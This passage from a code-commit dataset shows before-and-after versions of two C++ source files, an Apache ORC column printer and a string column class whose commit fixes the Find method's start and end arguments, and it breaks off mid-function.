<typeinfo>\n#include <stdexcept>\n\nnamespace orc {\n\n  class LongColumnPrinter: public ColumnPrinter {\n  private:\n    const long* data;\n  public:\n    LongColumnPrinter(const ColumnVectorBatch& batch);\n    ~LongColumnPrinter() {}\n    void printRow(unsigned long rowId)  ;\n    void reset(const ColumnVectorBatch& batch)  ;\n  };\n\n  class DoubleColumnPrinter: public ColumnPrinter {\n  private:\n    const double* data;\n  public:\n    DoubleColumnPrinter(const ColumnVectorBatch& batch);\n    virtual ~DoubleColumnPrinter() {}\n    void printRow(unsigned long rowId)  ;\n    void reset(const ColumnVectorBatch& batch)  ;\n  };\n\n  class StringColumnPrinter: public ColumnPrinter {\n  private:\n    const char* const * start;\n    const long* length;\n  public:\n    StringColumnPrinter(const ColumnVectorBatch& batch);\n    virtual ~StringColumnPrinter() {}\n    void printRow(unsigned long rowId)  ;\n    void reset(const ColumnVectorBatch& batch)  ;\n  };\n\n  ColumnPrinter::~ColumnPrinter() {\n    \/\/ PASS\n  }\n\n  LongColumnPrinter::LongColumnPrinter(const  ColumnVectorBatch& batch) {\n    reset(batch);\n  }\n\n  void LongColumnPrinter::reset(const  ColumnVectorBatch& batch) {\n    data = dynamic_cast<const LongVectorBatch&>(batch).data.data();\n  }\n\n  void LongColumnPrinter::printRow(unsigned long rowId) {\n    std::cout << data[rowId];\n  }\n\n  DoubleColumnPrinter::DoubleColumnPrinter(const  ColumnVectorBatch& batch) {\n    reset(batch);\n  }\n\n  void DoubleColumnPrinter::reset(const  ColumnVectorBatch& batch) {\n    data = dynamic_cast<const DoubleVectorBatch&>(batch).data.data();\n  }\n\n  void DoubleColumnPrinter::printRow(unsigned long rowId) {\n    std::cout << data[rowId];\n  }\n\n  StringColumnPrinter::StringColumnPrinter(const ColumnVectorBatch& batch) {\n    reset(batch);\n  }\n\n  void StringColumnPrinter::reset(const ColumnVectorBatch& batch) {\n    start = dynamic_cast<const StringVectorBatch&>(batch).data.data();\n    length = dynamic_cast<const StringVectorBatch&>(batch).length.data();\n  }\n\n  void StringColumnPrinter::printRow(unsigned long rowId) {\n    std::cout.write(start[rowId], length[rowId]);\n  }\n\n  StructColumnPrinter::StructColumnPrinter(const ColumnVectorBatch& batch) {\n    const StructVectorBatch& structBatch =\n      dynamic_cast<const StructVectorBatch&>(batch);\n    for(std::vector<ColumnVectorBatch*>::const_iterator ptr=structBatch.fields.begin();\n        ptr != structBatch.fields.end(); ++ptr) {\n      if (typeid(**ptr) == typeid(LongVectorBatch)) {\n        fields.push_back(new LongColumnPrinter(**ptr));\n      } else if (typeid(**ptr) == typeid(DoubleVectorBatch)) {\n        fields.push_back(new DoubleColumnPrinter(**ptr));\n      } else if (typeid(**ptr) == typeid(StringVectorBatch)) {\n        fields.push_back(new StringColumnPrinter(**ptr));\n      } else if (typeid(**ptr) == typeid(StructVectorBatch)) {\n        fields.push_back(new StructColumnPrinter(**ptr));\n      } else {\n        throw std::logic_error(\"unknown batch type\");\n      }\n    }\n  }\n\n  StructColumnPrinter::~StructColumnPrinter() {\n    for (size_t i = 0; i < fields.size(); i++) {\n      delete fields[i];\n    }\n  }\n\n  void StructColumnPrinter::reset(const ColumnVectorBatch& batch) {\n    const StructVectorBatch& structBatch =\n      dynamic_cast<const StructVectorBatch&>(batch);\n    for(size_t i=0; i < fields.size(); ++i) {\n      fields[i]->reset(*(structBatch.fields[i]));\n    }\n  }\n\n  void StructColumnPrinter::printRow(unsigned long rowId) {\n    if (fields.size() > 0) {\n      for (std::vector<ColumnPrinter*>::iterator ptr = fields.begin(); ptr != fields.end(); ++ptr) {\n        (*ptr)->printRow(rowId);\n        std::cout << \"\\t\";\n      }\n      std::cout << \"\\n\";\n    }\n  }\n}\n<commit_msg>Fixed #52.<commit_after>\/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"ColumnPrinter.hh\"\n#include <typeinfo>\n#include <stdexcept>\n\nnamespace orc {\n\n  class LongColumnPrinter: public ColumnPrinter {\n  private:\n    const long* data;\n  public:\n    LongColumnPrinter(const ColumnVectorBatch& batch);\n    ~LongColumnPrinter() {}\n    void printRow(unsigned long rowId)  ;\n    void reset(const ColumnVectorBatch& batch)  ;\n  };\n\n  class DoubleColumnPrinter: public ColumnPrinter {\n  private:\n    const double* data;\n  public:\n    DoubleColumnPrinter(const ColumnVectorBatch& batch);\n    virtual ~DoubleColumnPrinter() {}\n    void printRow(unsigned long rowId)  ;\n    void reset(const ColumnVectorBatch& batch)  ;\n  };\n\n  class StringColumnPrinter: public ColumnPrinter {\n  private:\n    const char* const * start;\n    const long* length;\n  public:\n    StringColumnPrinter(const ColumnVectorBatch& batch);\n    virtual ~StringColumnPrinter() {}\n    void printRow(unsigned long rowId)  ;\n    void reset(const ColumnVectorBatch& batch)  ;\n  };\n\n  ColumnPrinter::~ColumnPrinter() {\n    \/\/ PASS\n  }\n\n  LongColumnPrinter::LongColumnPrinter(const  ColumnVectorBatch& batch) {\n    reset(batch);\n  }\n\n  void LongColumnPrinter::reset(const  ColumnVectorBatch& batch) {\n    data = dynamic_cast<const LongVectorBatch&>(batch).data.data();\n  }\n\n  void LongColumnPrinter::printRow(unsigned long rowId) {\n    std::cout << data[rowId];\n  }\n\n  DoubleColumnPrinter::DoubleColumnPrinter(const  ColumnVectorBatch& batch) {\n    reset(batch);\n  }\n\n  void DoubleColumnPrinter::reset(const  ColumnVectorBatch& batch) {\n    data = dynamic_cast<const DoubleVectorBatch&>(batch).data.data();\n  }\n\n  void DoubleColumnPrinter::printRow(unsigned long rowId) {\n    std::cout << data[rowId];\n  }\n\n  StringColumnPrinter::StringColumnPrinter(const ColumnVectorBatch& batch) {\n    reset(batch);\n  }\n\n  void StringColumnPrinter::reset(const ColumnVectorBatch& batch) {\n    start = dynamic_cast<const StringVectorBatch&>(batch).data.data();\n    length = dynamic_cast<const StringVectorBatch&>(batch).length.data();\n  }\n\n  void StringColumnPrinter::printRow(unsigned long rowId) {\n    std::cout.write(start[rowId], length[rowId]);\n  }\n\n  StructColumnPrinter::StructColumnPrinter(const ColumnVectorBatch& batch) {\n    const StructVectorBatch& structBatch =\n      dynamic_cast<const StructVectorBatch&>(batch);\n    for(std::vector<ColumnVectorBatch*>::const_iterator ptr=structBatch.fields.begin();\n        ptr != structBatch.fields.end(); ++ptr) {\n      if (typeid(**ptr) == typeid(LongVectorBatch)) {\n        fields.push_back(new LongColumnPrinter(**ptr));\n      } else if (typeid(**ptr) == typeid(DoubleVectorBatch)) {\n        fields.push_back(new DoubleColumnPrinter(**ptr));\n      } else if (typeid(**ptr) == typeid(StringVectorBatch)) {\n        fields.push_back(new StringColumnPrinter(**ptr));\n      } else if (typeid(**ptr) == typeid(StructVectorBatch)) {\n        fields.push_back(new StructColumnPrinter(**ptr));\n      } else {\n        throw std::logic_error(\"unknown batch type\");\n      }\n    }\n  }\n\n  StructColumnPrinter::~StructColumnPrinter() {\n    for (size_t i = 0; i < fields.size(); i++) {\n      delete fields[i];\n    }\n  }\n\n  void StructColumnPrinter::reset(const ColumnVectorBatch& batch) {\n    const StructVectorBatch& structBatch =\n      dynamic_cast<const StructVectorBatch&>(batch);\n    for(size_t i=0; i < fields.size(); ++i) {\n      fields[i]->reset(*(structBatch.fields[i]));\n    }\n  }\n\n  void StructColumnPrinter::printRow(unsigned long rowId) {\n    if (fields.size() > 0) {\n      for (std::vector<ColumnPrinter*>::iterator ptr = fields.begin(); ptr != fields.end(); ++ptr) {\n        (*ptr)->printRow(rowId);\n\n        std::cout << \"\\t\";\n      }\n      std::cout << \"\\n\";\n    }\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cstdlib>\n#include <cassert>\n#include <cstring>\n#include <cstdio> \/\/ debug\n\n#ifdef _MSC_VER\n\t#include \"win32\\types.h\"\n#endif\n\n#include \"ColumnString.h\"\n\n\/\/ Pre-declare local functions\nColumnDef GetTypeFromArray(size_t ref, Allocator& alloc);\n\nColumnDef GetTypeFromArray(size_t ref, Allocator& alloc) {\n\tconst uint8_t* const header = (uint8_t*)alloc.Translate(ref);\n\tconst bool isNode = (header[0] & 0x80) != 0;\n\tconst bool hasRefs  = (header[0] & 0x40) != 0;\n\n\tif (isNode) return COLUMN_NODE;\n\telse if (hasRefs) return COLUMN_HASREFS;\n\telse return COLUMN_NORMAL;\n}\n\nAdaptiveStringColumn::AdaptiveStringColumn(Allocator& alloc) {\n\tm_array = new ArrayString(NULL, 0, alloc);\n}\n\nAdaptiveStringColumn::AdaptiveStringColumn(size_t ref, Array* parent, size_t pndx, Allocator& alloc) {\n\tconst ColumnDef type = GetTypeFromArray(ref, alloc);\n\tif (type == COLUMN_NODE) {\n\t\tm_array = new Array(ref, parent, pndx, alloc);\n\t}\n\telse if (type == COLUMN_HASREFS) {\n\t\tm_array = new ArrayStringLong(ref, parent, pndx, alloc);\n\t}\n\telse {\n\t\tm_array = new ArrayString(ref, parent, pndx, alloc);\n\t}\n}\n\nAdaptiveStringColumn::AdaptiveStringColumn(size_t ref, const Array* parent, size_t pndx, Allocator& alloc) {\n\tconst ColumnDef type = GetTypeFromArray(ref, alloc);\n\tif (type == COLUMN_NODE) {\n\t\tm_array = new Array(ref, parent, pndx, alloc);\n\t}\n\telse if (type == COLUMN_HASREFS) {\n\t\tm_array = new ArrayStringLong(ref, parent, pndx, alloc);\n\t}\n\telse {\n\t\tm_array = new ArrayString(ref, parent, pndx, alloc);\n\t}\n}\n\nAdaptiveStringColumn::~AdaptiveStringColumn() {\n\tdelete m_array;\n}\n\nvoid AdaptiveStringColumn::Destroy() {\n\tif (IsNode()) m_array->Destroy();\n\telse if (IsLongStrings()) {\n\t\t((ArrayStringLong*)m_array)->Destroy();\n\t}\n\telse ((ArrayString*)m_array)->Destroy();\n}\n\n\nvoid AdaptiveStringColumn::UpdateRef(size_t ref) {\n\tassert(GetTypeFromArray(ref, m_array->GetAllocator()) == COLUMN_NODE); \/\/ Can only be called when creating node\n\n\tif (IsNode()) m_array->UpdateRef(ref);\n\telse {\n\t\tArray* parent = m_array->GetParent();\n\t\tsize_t pndx   = m_array->GetParentNdx();\n\n\t\t\/\/ Replace the string array with int array for node\n\t\tArray* array = new Array(ref, parent, pndx, m_array->GetAllocator());\n\t\tdelete m_array;\n\t\tm_array = array;\n\n\t\t\/\/ Update ref in parent\n\t\tif (parent) parent->Set(pndx, m_array->GetRef());\n\t}\n}\n\nbool AdaptiveStringColumn::IsEmpty() const {\n\tif (IsNode()) {\n\t\tconst Array offsets = NodeGetOffsets();\n\t\treturn offsets.IsEmpty();\n\t}\n\telse if (IsLongStrings()) {\n\t\treturn ((ArrayStringLong*)m_array)->IsEmpty();\n\t}\n\telse {\n\t\treturn ((ArrayString*)m_array)->IsEmpty();\n\t}\n}\n\nsize_t AdaptiveStringColumn::Size() const {\n\tif (IsNode())  {\n\t\tconst Array offsets = NodeGetOffsets();\n\t\tconst size_t size = offsets.IsEmpty() ? 0 : (size_t)offsets.Back();\n\t\treturn size;\n\t}\n\telse if (IsLongStrings()) {\n\t\treturn ((ArrayStringLong*)m_array)->Size();\n\t}\n\telse {\n\t\treturn ((ArrayString*)m_array)->Size();\n\t}\n}\n\nvoid AdaptiveStringColumn::Clear() {\n\tif (m_array->IsNode()) {\n\t\t\/\/ Revert to string array\n\t\tm_array->Destroy();\n\t\tArray* array = new ArrayString(m_array->GetParent(), m_array->GetParentNdx(), m_array->GetAllocator());\n\t\tdelete m_array;\n\t\tm_array = array;\n\t}\n\telse if (IsLongStrings()) {\n\t\t((ArrayStringLong*)m_array)->Clear();\n\t}\n\telse ((ArrayString*)m_array)->Clear();\n}\n\nconst char* AdaptiveStringColumn::Get(size_t ndx) const {\n\tassert(ndx < Size());\n\treturn TreeGet<const char*, AdaptiveStringColumn>(ndx);\n}\n\nbool AdaptiveStringColumn::Set(size_t ndx, const char* value) {\n\tassert(ndx < Size());\n\treturn TreeSet<const char*, AdaptiveStringColumn>(ndx, value);\n}\n\nbool AdaptiveStringColumn::Add(const char* value) {\n\treturn Insert(Size(), value);\n}\n\nbool AdaptiveStringColumn::Insert(size_t ndx, const char* value) {\n\tassert(ndx <= Size());\n\treturn TreeInsert<const char*, AdaptiveStringColumn>(ndx, value);\n}\n\nvoid AdaptiveStringColumn::Delete(size_t ndx) {\n\tassert(ndx < Size());\n\tTreeDelete<const char*, AdaptiveStringColumn>(ndx);\n}\n\nsize_t AdaptiveStringColumn::Find(const char* value, size_t, size_t) const {\n\tassert(value);\n\treturn TreeFind<const char*, AdaptiveStringColumn>(value, 0, -1);\n}\n\nvoid AdaptiveStringColumn::FindAll(Array &result, const char* value, size_t start, size_t end) const {\n\tassert(value);\n\tTreeFindAll<const char*, AdaptiveStringColumn>(result, value, 0, start, end);\n}\n\nconst char* AdaptiveStringColumn::LeafGet(size_t ndx) const {\n\tif (IsLongStrings()) {\n\t\treturn ((ArrayStringLong*)m_array)->Get(ndx);\n\t}\n\telse {\n\t\treturn ((ArrayString*)m_array)->Get(ndx);\n\t}\n}\n\nbool AdaptiveStringColumn::LeafSet(size_t ndx, const char* value) {\n\t\/\/ Easy to set if the strings fit\n\tconst size_t len = strlen(value);\n\tif (IsLongStrings()) {\n\t\t((ArrayStringLong*)m_array)->Set(ndx, value, len);\n\t\treturn true;\n\t}\n\telse if (len < 16) {\n\t\treturn ((ArrayString*)m_array)->Set(ndx, value);\n\t}\n\n\t\/\/ Replace string array with long string array\n\tArrayStringLong* const newarray = new ArrayStringLong((Array*)NULL, 0, m_array->GetAllocator());\n\n\t\/\/ Copy strings to new array\n\tArrayString* const oldarray = (ArrayString*)m_array;\n\tfor (size_t i = 0; i < oldarray->Size(); ++i) {\n\t\tnewarray->Add(oldarray->Get(i));\n\t}\n\tnewarray->Set(ndx, value, len);\n\n\t\/\/ Update parent to point to new array\n\tArray* const parent = oldarray->GetParent();\n\tif (parent) {\n\t\tconst size_t pndx = oldarray->GetParentNdx();\n\t\tparent->Set(pndx, newarray->GetRef());\n\t\tnewarray->SetParent(parent, pndx);\n\t}\n\n\t\/\/ Replace string array with long string array\n\tm_array = (Array*)newarray;\n\toldarray->Destroy();\n\tdelete oldarray;\n\n\treturn true;}\n\nbool AdaptiveStringColumn::LeafInsert(size_t ndx, const char* value) {\n\t\/\/ Easy to insert if the strings fit\n\tconst size_t len = strlen(value);\n\tif (IsLongStrings()) {\n\t\t((ArrayStringLong*)m_array)->Insert(ndx, value, len);\n\t\treturn true;\n\t}\n\telse if (len < 16) {\n\t\treturn ((ArrayString*)m_array)->Insert(ndx, value);\n\t}\n\n\t\/\/ Replace string array with long string array\n\tArrayStringLong* const newarray = new ArrayStringLong((Array*)NULL, 0, m_array->GetAllocator());\n\n\t\/\/ Copy strings to new array\n\tArrayString* const oldarray = (ArrayString*)m_array;\n\tfor (size_t i = 0; i < oldarray->Size(); ++i) {\n\t\tnewarray->Add(oldarray->Get(i));\n\t}\n\tnewarray->Insert(ndx, value, len);\n\n\t\/\/ Update parent to point to new array\n\tArray* const parent = oldarray->GetParent();\n\tif (parent) {\n\t\tconst size_t pndx = oldarray->GetParentNdx();\n\t\tparent->Set(pndx, newarray->GetRef());\n\t\tnewarray->SetParent(parent, pndx);\n\t}\n\n\t\/\/ Replace string array with long string array\n\tm_array = (Array*)newarray;\n\toldarray->Destroy();\n\tdelete oldarray;\n\n\treturn true;\n}\n\nsize_t AdaptiveStringColumn::LeafFind(const char* value, size_t start, size_t end) const {\n\tif (IsLongStrings()) {\n\t\treturn ((ArrayStringLong*)m_array)->Find(value, start, end);\n\t}\n\telse {\n\t\treturn ((ArrayString*)m_array)->Find(value, start, end);\n\t}\n}\n\nvoid AdaptiveStringColumn::LeafFindAll(Array &result, const char* value, size_t add_offset, size_t start, size_t end) const {\n\tif (IsLongStrings()) {\n\t\treturn ((ArrayStringLong*)m_array)->FindAll(result, value, add_offset, start, end);\n\t}\n\telse {\n\t\treturn ((ArrayString*)m_array)->FindAll(result, value, add_offset, start, end);\n\t}\n}\n\n\nvoid AdaptiveStringColumn::LeafDelete(size_t ndx) {\n\tif (IsLongStrings()) {\n\t\t((ArrayStringLong*)m_array)->Delete(ndx);\n\t}\n\telse {\n\t\t((ArrayString*)m_array)->Delete(ndx);\n\t}\n}\n\nbool AdaptiveStringColumn::FindKeyPos(const char* target, size_t& pos) const {\n\tconst int len = (int)Size();\n\tbool found = false;\n\tssize_t low  = -1;\n\tssize_t high = len;\n\n\t\/\/ Binary search based on:\n\t\/\/ http:\/\/www.tbray.org\/ongoing\/When\/200x\/2003\/03\/22\/Binary\n\t\/\/ Finds position of closest value BIGGER OR EQUAL to the target (for\n\t\/\/ lookups in indexes)\n\twhile (high - low > 1) {\n\t\tconst ssize_t probe = ((size_t)low + (size_t)high) >> 1;\n\t\tconst char* v = Get(probe);\n\n\t\tconst int cmp = strcmp(v, target);\n\n\t\tif (cmp < 0) low  = probe;\n\t\telse {\n\t\t\thigh = probe;\n\t\t\tif (cmp == 0) found = true;\n\t\t}\n\t}\n\n\tpos = high;\n\treturn found;\n}\n\nbool AdaptiveStringColumn::AutoEnumerate(size_t& ref_keys, size_t& ref_values) const {\n\tAdaptiveStringColumn keys(m_array->GetAllocator());\n\n\t\/\/ Generate list of unique values (keys)\n\tconst size_t count = Size();\n\tfor (size_t i = 0; i < count; ++i) {\n\t\tconst char* v = Get(i);\n\n\t\t\/\/ Insert keys in sorted order, ignoring duplicates\n\t\tsize_t pos;\n\t\tif (!keys.FindKeyPos(v, pos)) {\n\t\t\tkeys.Insert(pos, v);\n\t\t}\n\t}\n\n\t\/\/ Don't bpther auto enumerating if there are too few duplicates\n\tif (keys.Size() > (count \/ 2)) {\n\t\tkeys.Destroy(); \/\/ cleanup\n\t\treturn false;\n\t}\n\n\t\/\/ Generate enumerated list of entries\n\tColumn values(m_array->GetAllocator());\n\tfor (size_t i = 0; i < count; ++i) {\n\t\tconst char* v = Get(i);\n\n\t\tsize_t pos;\n\t\tconst bool res = keys.FindKeyPos(v, pos);\n\t\tassert(res);\n\n\t\tvalues.Add(pos);\n\t}\n\n\tref_keys   = keys.GetRef();\n\tref_values = values.GetRef();\n\treturn true;\n}\n\n#ifdef _DEBUG\n#include <cstring> \/\/ strcmp()\n\nbool AdaptiveStringColumn::Compare(const AdaptiveStringColumn& c) const {\n\tif (c.Size() != Size()) return false;\n\n\tfor (size_t i = 0; i < Size(); ++i) {\n\t\tconst char* s1 = Get(i);\n\t\tconst char* s2 = c.Get(i);\n\t\tif (strcmp(s1, s2) != 0) return false;\n\t}\n\n\treturn true;\n}\n\nvoid AdaptiveStringColumn::ToDot(FILE* f, bool) const {\n\tm_array->ToDot(f);\n}\n\nMemStats AdaptiveStringColumn::Stats() const {\n\tMemStats stats;\n\n\tif (m_array->IsNode()) {\n\t\tconst Array refs = NodeGetRefs();\n\n\t\tfor (size_t i = 0; i < refs.Size(); ++i) {\n\t\t\tconst size_t r = (size_t)refs.Get(i);\n\t\t\tconst AdaptiveStringColumn col(r);\n\n\t\t\tconst MemStats m = col.Stats();\n\t\t\tstats.Add(m);\n\t\t}\n\n\t\t\/\/ Add node itself\n\t\tconst MemStats m = m_array->Stats();\n\t\tstats.Add(m);\n\t}\n\telse if (IsLongStrings()) {\n\t\tconst MemStats m = ((ArrayStringLong*)m_array)->Stats();\n\t\tstats.Add(m);\n\t}\n\telse {\n\t\tconst MemStats m = ((ArrayString*)m_array)->Stats();\n\t\tstats.Add(m);\n\t}\n\n\treturn stats;\n}\n\n#endif \/\/_DEBUG\n<commit_msg>Fixed bug in AdaptiveStringColumn::Find<commit_after>#include <cstdlib>\n#include <cassert>\n#include <cstring>\n#include <cstdio> \/\/ debug\n\n#ifdef _MSC_VER\n\t#include \"win32\\types.h\"\n#endif\n\n#include \"ColumnString.h\"\n\n\/\/ Pre-declare local functions\nColumnDef GetTypeFromArray(size_t ref, Allocator& alloc);\n\nColumnDef GetTypeFromArray(size_t ref, Allocator& alloc) {\n\tconst uint8_t* const header = (uint8_t*)alloc.Translate(ref);\n\tconst bool isNode = (header[0] & 0x80) != 0;\n\tconst bool hasRefs  = (header[0] & 0x40) != 0;\n\n\tif (isNode) return COLUMN_NODE;\n\telse if (hasRefs) return COLUMN_HASREFS;\n\telse return COLUMN_NORMAL;\n}\n\nAdaptiveStringColumn::AdaptiveStringColumn(Allocator& alloc) {\n\tm_array = new ArrayString(NULL, 0, alloc);\n}\n\nAdaptiveStringColumn::AdaptiveStringColumn(size_t ref, Array* parent, size_t pndx, Allocator& alloc) {\n\tconst ColumnDef type = GetTypeFromArray(ref, alloc);\n\tif (type == COLUMN_NODE) {\n\t\tm_array = new Array(ref, parent, pndx, alloc);\n\t}\n\telse if (type == COLUMN_HASREFS) {\n\t\tm_array = new ArrayStringLong(ref, parent, pndx, alloc);\n\t}\n\telse {\n\t\tm_array = new ArrayString(ref, parent, pndx, alloc);\n\t}\n}\n\nAdaptiveStringColumn::AdaptiveStringColumn(size_t ref, const Array* parent, size_t pndx, Allocator& alloc) {\n\tconst ColumnDef type = GetTypeFromArray(ref, alloc);\n\tif (type == COLUMN_NODE) {\n\t\tm_array = new Array(ref, parent, pndx, alloc);\n\t}\n\telse if (type == COLUMN_HASREFS) {\n\t\tm_array = new ArrayStringLong(ref, parent, pndx, alloc);\n\t}\n\telse {\n\t\tm_array = new ArrayString(ref, parent, pndx, alloc);\n\t}\n}\n\nAdaptiveStringColumn::~AdaptiveStringColumn() {\n\tdelete m_array;\n}\n\nvoid AdaptiveStringColumn::Destroy() {\n\tif (IsNode()) m_array->Destroy();\n\telse if (IsLongStrings()) {\n\t\t((ArrayStringLong*)m_array)->Destroy();\n\t}\n\telse ((ArrayString*)m_array)->Destroy();\n}\n\n\nvoid AdaptiveStringColumn::UpdateRef(size_t ref) {\n\tassert(GetTypeFromArray(ref, m_array->GetAllocator()) == COLUMN_NODE); \/\/ Can only be called when creating node\n\n\tif (IsNode()) m_array->UpdateRef(ref);\n\telse {\n\t\tArray* parent = m_array->GetParent();\n\t\tsize_t pndx   = m_array->GetParentNdx();\n\n\t\t\/\/ Replace the string array with int array for node\n\t\tArray* array = new Array(ref, parent, pndx, m_array->GetAllocator());\n\t\tdelete m_array;\n\t\tm_array = array;\n\n\t\t\/\/ Update ref in parent\n\t\tif (parent) parent->Set(pndx, m_array->GetRef());\n\t}\n}\n\nbool AdaptiveStringColumn::IsEmpty() const {\n\tif (IsNode()) {\n\t\tconst Array offsets = NodeGetOffsets();\n\t\treturn offsets.IsEmpty();\n\t}\n\telse if (IsLongStrings()) {\n\t\treturn ((ArrayStringLong*)m_array)->IsEmpty();\n\t}\n\telse {\n\t\treturn ((ArrayString*)m_array)->IsEmpty();\n\t}\n}\n\nsize_t AdaptiveStringColumn::Size() const {\n\tif (IsNode())  {\n\t\tconst Array offsets = NodeGetOffsets();\n\t\tconst size_t size = offsets.IsEmpty() ? 0 : (size_t)offsets.Back();\n\t\treturn size;\n\t}\n\telse if (IsLongStrings()) {\n\t\treturn ((ArrayStringLong*)m_array)->Size();\n\t}\n\telse {\n\t\treturn ((ArrayString*)m_array)->Size();\n\t}\n}\n\nvoid AdaptiveStringColumn::Clear() {\n\tif (m_array->IsNode()) {\n\t\t\/\/ Revert to string array\n\t\tm_array->Destroy();\n\t\tArray* array = new ArrayString(m_array->GetParent(), m_array->GetParentNdx(), m_array->GetAllocator());\n\t\tdelete m_array;\n\t\tm_array = array;\n\t}\n\telse if (IsLongStrings()) {\n\t\t((ArrayStringLong*)m_array)->Clear();\n\t}\n\telse ((ArrayString*)m_array)->Clear();\n}\n\nconst char* AdaptiveStringColumn::Get(size_t ndx) const {\n\tassert(ndx < Size());\n\treturn TreeGet<const char*, AdaptiveStringColumn>(ndx);\n}\n\nbool AdaptiveStringColumn::Set(size_t ndx, const char* value) {\n\tassert(ndx < Size());\n\treturn TreeSet<const char*, AdaptiveStringColumn>(ndx, value);\n}\n\nbool AdaptiveStringColumn::Add(const char* value) {\n\treturn Insert(Size(), value);\n}\n\nbool AdaptiveStringColumn::Insert(size_t ndx, const char* value) {\n\tassert(ndx <= Size());\n\treturn TreeInsert<const char*, AdaptiveStringColumn>(ndx, value);\n}\n\nvoid AdaptiveStringColumn::Delete(size_t ndx) {\n\tassert(ndx < Size());\n\tTreeDelete<const char*, AdaptiveStringColumn>(ndx);\n}\n\nsize_t AdaptiveStringColumn::Find(const char* value, size_t start, size_t end) const {\n\tassert(value);\n\treturn TreeFind<const char*, AdaptiveStringColumn>(value, start, end);\n}\n\nvoid AdaptiveStringColumn::FindAll(Array &result, const char* value, size_t start, size_t end) const {\n\tassert(value);\n\tTreeFindAll<const char*, AdaptiveStringColumn>(result, value, 0, start, end);\n}\n\nconst char* AdaptiveStringColumn::LeafGet(size_t ndx) const {\n\tif (IsLongStrings()) {\n\t\treturn ((ArrayStringLong*)m_array)->Get(ndx);\n\t}\n\telse {\n\t\treturn ((ArrayString*)m_array)->Get(ndx);\n\t}\n}\n\nbool AdaptiveStringColumn::LeafSet(size_t ndx, const char* value) {\n\t\/\/ Easy to set if the strings fit\n\tconst size_t len = strlen(value);\n\tif (IsLongStrings()) {\n\t\t((ArrayStringLong*)m_array)->Set(ndx, value, len);\n\t\treturn true;\n\t}\n\telse if (len < 16) {\n\t\treturn ((ArrayString*)m_array)->Set(ndx, value);\n\t}\n\n\t\/\/ Replace string array with long string array\n\tArrayStringLong* const newarray = new ArrayStringLong((Array*)NULL, 0, m_array->GetAllocator());\n\n\t\/\/ Copy strings to new array\n\tArrayString* const oldarray = (ArrayString*)m_array;\n\tfor (size_t i = 0; i < oldarray->Size(); ++i) {\n\t\tnewarray->Add(oldarray->Get(i));\n\t}\n\tnewarray->Set(ndx, value, len);\n\n\t\/\/ Update parent to point to new array\n\tArray* const parent = oldarray->GetParent();\n\tif (parent) {\n\t\tconst size_t pndx = oldarray->GetParentNdx();\n\t\tparent->Set(pndx, newarray->GetRef());\n\t\tnewarray->SetParent(parent, pndx);\n\t}\n\n\t\/\/ Replace string array with long string array\n\tm_array = (Array*)newarray;\n\toldarray->Destroy();\n\tdelete oldarray;\n\n\treturn true;}\n\nbool AdaptiveStringColumn::LeafInsert(size_t ndx, const char* value) {\n\t\/\/ Easy to insert if the strings fit\n\tconst size_t len = strlen(value);\n\tif (IsLongStrings()) {\n\t\t((ArrayStringLong*)m_array)->Insert(ndx, value, len);\n\t\treturn true;\n\t}\n\telse if (len < 16) {\n\t\treturn ((ArrayString*)m_array)->Insert(ndx, value);\n\t}\n\n\t\/\/ Replace string array with long string array\n\tArrayStringLong* const newarray = new ArrayStringLong((Array*)NULL, 0, m_array->GetAllocator());\n\n\t\/\/ Copy strings to new array\n\tArrayString* const oldarray = (ArrayString*)m_array;\n\tfor (size_t i = 0; i < oldarray->Size(); ++i) {\n\t\tnewarray->Add(oldarray->Get(i));\n\t}\n\tnewarray->Insert(ndx, value, len);\n\n\t\/\/ Update parent to point to new array\n\tArray* const parent = oldarray->GetParent();\n\tif (parent) {\n\t\tconst size_t pndx = oldarray->GetParentNdx();\n\t\tparent->Set(pndx, newarray->GetRef());\n\t\tnewarray->SetParent(parent, pndx);\n\t}\n\n\t\/\/ Replace string array with long string array\n\tm_array = (Array*)newarray;\n\toldarray->Destroy();\n\tdelete oldarray;\n\n\treturn true;\n}\n\nsize_t AdaptiveStringColumn::LeafFind(const char* value, size_t start, size_t end) const {\n\tif (IsLongStrings()) {\n\t\treturn ((ArrayStringLong*)m_array)->Find(value, start, end);\n\t}\n\telse {\n\t\treturn ((ArrayString*)m_array)->Find(value, start, end);\n\t}\n}\n\nvoid AdaptiveStringColumn::LeafFindAll(Array &result, const char* value, size_t add_offset, size_t start, size_t end) const {\n\tif (IsLongStrings()) {\n\t\treturn ((ArrayStringLong*)m_array)->FindAll(result, value, add_offset, start, end);\n\t}\n\telse {\n\t\treturn ((ArrayString*)m_array)->FindAll(result, value, add_offset, start, end);\n\t}\n}\n\n\nvoid AdaptiveStringColumn::LeafDelete(size_t ndx) {\n\tif (IsLongStrings()) {\n\t\t((ArrayStringLong*)m_array)->Delete(ndx);\n\t}\n\telse {\n\t\t((ArrayString*)m_array)->Delete(ndx);\n\t}\n}\n\nbool AdaptiveStringColumn::FindKeyPos(const char* target, size_t& pos) const {\n\tconst int len = (int)Size();\n\tbool found = false;\n\tssize_t low  = -1;\n\tssize_t high = len;\n\n\t\/\/ Binary search based on:\n\t\/\/ http:\/\/www.tbray.org\/ongoing\/When\/200x\/2003\/03\/22\/Binary\n\t\/\/ Finds position of closest value BIGGER OR EQUAL to the target (for\n\t\/\/ lookups in indexes)\n\twhile (high - low > 1) {\n\t\tconst ssize_t probe = ((size_t)low + (size_t)high) >> 1;\n\t\tconst char* v = Get(probe);\n\n\t\tconst int cmp = strcmp(v, target);\n\n\t\tif (cmp < 0) low  = probe;\n\t\telse {\n\t\t\thigh = probe;\n\t\t\tif (cmp == 0) found = true;\n\t\t}\n\t}\n\n\tpos = high;\n\treturn found;\n}\n\nbool AdaptiveStringColumn::AutoEnumerate(size_t& ref_keys, size_t& ref_values) const {\n\tAdaptiveStringColumn keys(m_array->GetAllocator());\n\n\t\/\/ Generate list of unique values (keys)\n\tconst size_t count = 